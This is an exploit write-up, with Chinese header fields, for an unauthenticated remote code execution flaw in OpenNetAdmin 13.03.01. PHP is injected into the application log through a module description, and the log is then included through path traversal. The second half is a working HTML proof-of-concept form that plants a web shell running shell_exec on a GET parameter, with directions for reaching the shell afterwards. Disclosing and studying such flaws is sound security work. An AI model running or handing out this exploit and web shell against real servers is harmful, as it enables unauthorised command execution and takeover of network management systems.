# 标题: OpenNetAdmin Remote Code Execution # 漏洞作者: Mandat0ry (aka Matthew Bryant) # 开发者官网: https://opennetadmin.com/ # 下载地址: https://opennetadmin.com/download.html # 影响版本: 13.03.01 # 测试系统: Ubuntu OpeNetAdmin Remote Code Execution Exploit by Mandat0ry (aka Matthew Bryant) 信息: This exploit works because adding modules can be done without any sort of authentication. Modules are in this form: module[name] = The name of the function that will be run out of the included file module[description] = Irrelevant description of the module (unless some PHP code is injected here hmm?) module[file] = The file to be included and then the function module[name] will be run from this included file This exploit works by injecting some PHP code into the /var/log/ona.log file via the module description parameter. Everytime a module is added to OpenNetAdmin the description/name/etc are all logged into this log file. So... By simply setting the module filepath to "../../../../../../../../../../../var/log/ona.log" (add or remove dots at will) we can include the log file as a module. Where it gets clever is remember the description is logged! So we can add PHP code into the description and thus the logs and it will be executed on inclusion of this file! The PHP interpreter will ignore everything not enclosed in PHP tags so it will only run the code we inject. This is basically a spin off of Apache log injection exploitation. Once the module has been added all you have to do is run it via "dcm.php?module=". This all works without any guest account etc. NOTE: Because of the way the logger script works we cannot use any "=" in our injected code as it will be escaped before being added to the logs ("\=") so avoid using it! Cool software but the code has a lot to be desired, I imagine their are a LOT more exploits than what I found but once I had RCE I was satisfied. Proof of concept code for easy exploitation. Run this and then go to /ona/dcm.php?module=mandat0ry for your shell! <center> <head> <title>0wned Your Network</title> <script type="text/javascript"> function changeaction() { document.sploit.action = document.getElementById("url").value; alert('Remember, your shell must be accessed via '+document.getElementById("url").value+'?module=mandat0ry'); } </script> </head> <font size="5">OpenNetAdmin RCE Exploit</font><br /> <font size="2"><i>Now with leet button sploiting action! (oooh, ahhh!)</i></font><br /><br /> <form action="/" method="post" name="sploit" onsubmit="changeaction()" > URL: <input id="url" value="https://127.0.0.1/ona/dcm.php" size="50" /><br /> PHP Code to Execute: <input type="text" size="50" name="options[desc]" value="<?php echo shell_exec($_GET[1]) ?>"/> <br /> <input type="hidden" name="module" value="add_module" /> <input type="hidden" name="options[name]" value="mandat0ry" /> <input type="hidden" name="options[file]" value="../../../../../../../../../../../var/log/ona.log" /> <input type="submit" value="Exploit!" /> </form> <b><i>Special thanks to: offsec, twitches, funkenstein, zachzor, av1dmage, drc, arsinh, and the coders for OpenNetAdmin!</i></b> </center>